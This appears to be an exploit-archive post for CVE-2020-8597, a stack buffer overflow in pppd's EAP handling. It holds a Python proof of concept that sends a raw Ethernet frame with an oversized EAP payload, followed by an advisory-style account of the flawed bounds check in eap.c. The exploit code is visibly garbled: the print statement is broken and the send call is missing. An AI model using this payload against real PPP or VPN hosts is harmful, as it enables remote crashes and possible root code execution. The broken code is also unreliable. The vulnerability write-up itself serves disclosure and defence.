# Exploit Title: (Point to Point Protocol Daemon) versions 2.4.2 through  
2.4.8 are vulnerable to buffer overflow - remote  
# Author: nu11secur1ty  
# Date: 2020-03-18  
# Vendor: Point to Point Protocol Daemon  
# Link:  
# CVE: CVE-2020-8597  
[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)  
[+] Website:  
[+] Source: readme from GitHUB  
[Exploit Program Code]  
from socket import *  
def sendeth(dst, src, eth_type, payload, interface = "eth0"):  
"""Send raw Ethernet packet on interface."""  
assert(len(src) == len(dst) == 6) # 48-bit  
assert(len(eth_type) == 2) # 16-bit  
s = socket(AF_PACKET, SOCK_RAW)  
s.bind((interface, 0))  
return s.send(src + dst + eth_type + payload)  
if __name__ == "__main__":  
print("Sent %d-byte Ethernet packet on eth0" %  
"\x88\x64" ,  
"\x11\x00" \  
"\x00\x04\x00\x5a\xc2\x27\x01\xd3\x00\x58\x04\x12\xef\x0a\x5c\x97" \  
"\x2e\xcf\xae\xb3\x30\x73\x10\xe9\x9d\x81\xf9\xb0\xde\xcf\x41\x41" \  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \  
Point to Point Protocol Daemon  
[Security Issue]  
By sending an unsolicited EAP packet to a vulnerable ppp client or server,  
an unauthenticated remote attacker could cause memory corruption in the  
pppd process, which may allow for arbitrary code execution.  
PPP is the protocol used for establishing internet links over dial-up  
modems, DSL connections, and many other types of point-to-point links  
including Virtual Private Networks (VPN) such as Point to Point Tunneling  
Protocol (PPTP). The pppd software can also authenticate a network  
connected peer and/or supply authentication information to the peer using  
multiple authentication protocols including EAP.  
Due to a flaw in the Extensible Authentication Protocol (EAP) packet  
processing in the Point-to-Point Protocol Daemon (pppd), an unauthenticated  
remote attacker may be able to cause a stack buffer overflow, which may  
allow arbitrary code execution on the target system. This vulnerability is  
due to an error in validating the size of the input before copying the  
supplied data into memory. As the validation of the data size is incorrect,  
arbitrary data can be copied into memory and cause memory corruption  
possibly leading to execution of unwanted code.  
The vulnerability is in the logic of the eap parsing code, specifically in  
the eap_request() and eap_response() functions in eap.c that are called by  
a network input handler. These functions take a pointer and length as input  
using the the first byte as a type. If the type is EAPT_MD5CHAP(4), it  
looks at an embedded 1-byte length field. The logic in this code is  
intended to makes sure that embedded length is smaller than the whole  
packet length. After this verification, it tries to copy provided data  
(hostname) that is located after the embedded length field into a local  
stack buffer. This bounds check is incorrect and allows for memory copy to  
happen with an arbitrary length of data.  
An additional logic flaw causes the eap_input() function to not check if  
EAP has been negotiated during the Line Control Protocol (LCP) phase. This  
allows an unauthenticated attacker to send an EAP packet even if ppp  
refused the authentication negotiation due to lack of support for EAP or  
due to mismatch of an agreed pre-shared passphrase in the LCP phase. The  
vulnerable pppd code in eap_input will still process the EAP packet and  
trigger the stack buffer overflow. This unverified data with an unknown  
size can be used to corrupt memory of the target system. The pppd often  
runs with high privileges (system or root) and works in conjunction with  
kernel drivers. This makes it possible for an attacker to potentially  
execute arbitrary code with system or root level privileges.  
The pppd software is also adopted into lwIP (lightweight IP) project to  
provide pppd capabilities for small devices. The default installer and  
packages of lwIP are not vulnerable to this buffer overflow. However if you  
have used the lwIP source code and configured specifically to enable EAP at  
compile time, your software is likely vulnerable to the buffer overflow.  
The recommended update is available from Git repoistory  
nu11secur1ty <>